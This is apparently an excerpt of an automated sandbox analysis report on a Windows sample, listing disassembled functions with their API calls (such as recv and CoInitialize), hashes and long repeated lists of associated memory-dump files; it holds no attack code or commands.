Instruction ID: 8ba9b0e425b4f8d202fe6934000d8fbee08e671bbf3af9204ffb336645f44701
Opcode Fuzzy Hash: 062c20272b759aa464b2c09f45cb60c8b2d34dc428e0819a2cb0445458157603
Instruction Fuzzy Hash: 1EC0123C01120086BA1C6A28408482432059A2ABAA3F00AA8F8316B1E1DA72968F86A8

Function 00C5B1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00C5B3C8

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: ae07c83cc135b49e2de9675a94e6ae8401fb723f143dc76de23feeaaa3b05e74
Instruction ID: b42bef27298794901cd1a5a2ce2ba640860a1d5c2749839e8a6adeb655687657
Opcode Fuzzy Hash: ae07c83cc135b49e2de9675a94e6ae8401fb723f143dc76de23feeaaa3b05e74
Instruction Fuzzy Hash: ADB11670A10268DFEB28CF14C894BDEBBB5EF15304F5045D9E80A67281D775AE88CF90

Function 04C30C83 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731511634.0000000004C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 04C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eee2cc11b75990b1244a7f21a249c0b18721de6e20778dfb883f4ada27ac837b
Instruction ID: 3e6b72384660cc956af8a4c89357b039e2b62d2f3084cc7fdd88e5e4441b9540
Opcode Fuzzy Hash: eee2cc11b75990b1244a7f21a249c0b18721de6e20778dfb883f4ada27ac837b
Instruction Fuzzy Hash: 1DF0BEB764E120BEB201965326184BAAB6EF5C2A32774883BF003C384AE2905609B432

Non-executed Functions

Function 00C931A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00C93323

Strings

1#IND, xrefs: 00C944B3
1#INF, xrefs: 00C944DE
1#SNAN, xrefs: 00C944BA
1#QNAN, xrefs: 00C944C1

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 7383843973e3ebc2137aa8dac568cfc4a95ad7a7068921bdec0e8d24ca0bb00e
Instruction ID: 2edbb7467a407beac1708ca148bb88690523b53c457b2e01d122e70720937dfa
Opcode Fuzzy Hash: 7383843973e3ebc2137aa8dac568cfc4a95ad7a7068921bdec0e8d24ca0bb00e
Instruction Fuzzy Hash: 7DC22871E046688BCF29CE28DD48BEAB7B5EB48305F1541EAD85DE7240E774AF818F40

Function 00C5E0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 00C5E10B
recv.WS2_32(?,?,00000008,00000000), ref: 00C5E140

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 523b258275d684057f3dd259e8add17c904fa8a781a332c19e7ad8052bf4eb25
Instruction ID: 973b6c611a07efd5516871c056ecbe3809ecb1c46cf0d17d1e49c1e15f9d8b90
Opcode Fuzzy Hash: 523b258275d684057f3dd259e8add17c904fa8a781a332c19e7ad8052bf4eb25
Instruction Fuzzy Hash: 8C31D871A006489FD724CBACDC85BEF77BCEB08724F100625F925E72D2D674A949CBA4

Function 00C92D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 376a5576fd4b68412969484e8d56b81b9300990959441ba6e7d287c5c1a7ddeb
Instruction ID: 65f258cb30fe2655ac54d5f220a9c1184e5aefdc3013b2c33364bd4cebfd0d59
Opcode Fuzzy Hash: 376a5576fd4b68412969484e8d56b81b9300990959441ba6e7d287c5c1a7ddeb
Instruction Fuzzy Hash: 9FF13E71E012199FDF14CFA9C8846AEF7B1FF88314F258269D829AB345D731AE41CB94

Function 00C6CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00C6CF52,?,00000003,00000003,?,00C6CF87,?,?,?,00000003,00000003,?,00C6C4FD,00C52FB9,00000001), ref: 00C6CC03

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
